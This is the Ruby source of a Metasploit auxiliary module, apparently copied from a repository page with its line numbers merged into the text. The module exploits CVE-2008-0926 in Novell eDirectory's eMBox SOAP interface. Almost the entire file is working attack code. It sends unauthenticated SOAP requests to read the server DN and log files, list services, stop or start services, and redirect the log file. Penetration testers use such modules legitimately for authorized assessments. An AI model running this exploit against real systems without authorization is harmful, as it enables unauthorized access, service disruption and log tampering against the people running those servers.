Path: blob/master/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Novell eDirectory eMBox Unauthenticated File Access',14'Description' => %q{15This module will access Novell eDirectory's eMBox service and can run the16following actions via the SOAP interface: GET_DN, READ_LOGS, LIST_SERVICES,17STOP_SERVICE, START_SERVICE, SET_LOGFILE.18},19'References' => [20[ 'CVE', '2008-0926' ],21[ 'BID', '28441' ],22[ 'OSVDB', '43690' ]23],24'Author' => [25'Nicob',26'MC', # Initial Metasploit module27'sinn3r'28],29'License' => MSF_LICENSE,30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [IOC_IN_LOGS],33'Reliability' => []34},35'Actions' => [36[37'GET_DN',38{39'Description' => 'Get DN',40'CMD' => 'novell.embox.connmgr.serverinfo',41'PATTERN' => %r{<ServerDN dt="Binary">(.*)</ServerDN>},42'USE_PARAM' => false43}44],45[46'READ_LOGS',47{48'Description' => 'Read all the log files',49'CMD' => 'logger.readlog',50'PATTERN' => %r{<LogFileData>(.*)</LogFileData>},51'USE_PARAM' => false52}53],54[55'LIST_SERVICES',56{57'Description' => 'List services',58'CMD' => 'novell.embox.service.getServiceList',59'PATTERN' => %r{<DSService:Message dt="Binary">(.*)</DSService:Message>},60'USE_PARAM' => false61}62],63[64'STOP_SERVICE',65{66'Description' => 'Stop a service',67'CMD' => 'novell.embox.service.stopService',68'PATTERN' => %r{<DSService:Message dt="Binary">(.*)</DSService:Message>},69'PARAM' => '<Parameters><params xmlns:DSService="service.dtd">' \70'<DSService:moduleName>__PARAM__</DSService:moduleName>' \71'</params></Parameters>',72'USE_PARAM' => true73}74],75[76'START_SERVICE',77{78'Description' => 'Start a service',79'CMD' => 'novell.embox.service.startService',80'PATTERN' => %r{<DSService:Message dt="Binary">(.*)</DSService:Message>},81'PARAM' => '<Parameters>' \82'<params xmlns:DSService="service.dtd">' \83'<DSService:moduleName>__PARAM__</DSService:moduleName>' \84'</params></Parameters>',85'USE_PARAM' => true86}87],88[89'SET_LOGFILE',90{91'Description' => 'Read Log File',92'CMD' => 'logger.setloginfo',93'PATTERN' => %r{<Logger:Message dt="Binary">(.*)</Logger:Message>},94'PARAM' => '<Parameters><params><logFile>__PARAM__</logFile>' \95'<logOptionAppend/></params></Parameters>',96'USE_PARAM' => true97}98]99],100'DefaultAction' => 'LIST_SERVICES'101)102)103104register_options(105[106Opt::RPORT(8028),107OptString.new('PARAM', [false, 'Specify a parameter for the action'])108]109)110end111112def run113if action.opts['USE_PARAM']114if datastore['PARAM'].nil? || datastore['PARAM'].empty?115print_error("You must supply a parameter for action: #{action.name}")116return117else118param = action.opts['PARAM'].gsub('__PARAM__', datastore['PARAM'])119end120else121param = '<Parameters><params/></Parameters>'122end123124template = %(<?xml version="1.0"?>125<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">126<SOAP-ENV:Header/>127<SOAP-ENV:Body>128<dispatch>129<Action>#{action.opts['CMD']}</Action>130<Object/>#{param}</dispatch>131</SOAP-ENV:Body>132</SOAP-ENV:Envelope>)133134template = template.gsub(/^ {4}/, '')135template = template.gsub("\n", '')136137connect138print_status("Sending command: #{action.name}...")139res = send_request_cgi({140'method' => 'POST',141'uri' => '/SOAP',142'data' => template + "\n\n",143'headers' =>144{145'Content-Type' => 'text/xml',146'SOAPAction' => '"' + Rex::Text.rand_text_alpha_upper(rand(1..25)) + '"'147}148}, 25)149150if res.nil?151print_error('Did not get a response from server')152return153end154155raw_data = res.body.scan(/#{action.opts['PATTERN']}/).flatten[0]156print_line("\n" + Rex::Text.decode_base64(raw_data))157158disconnect159end160end161162163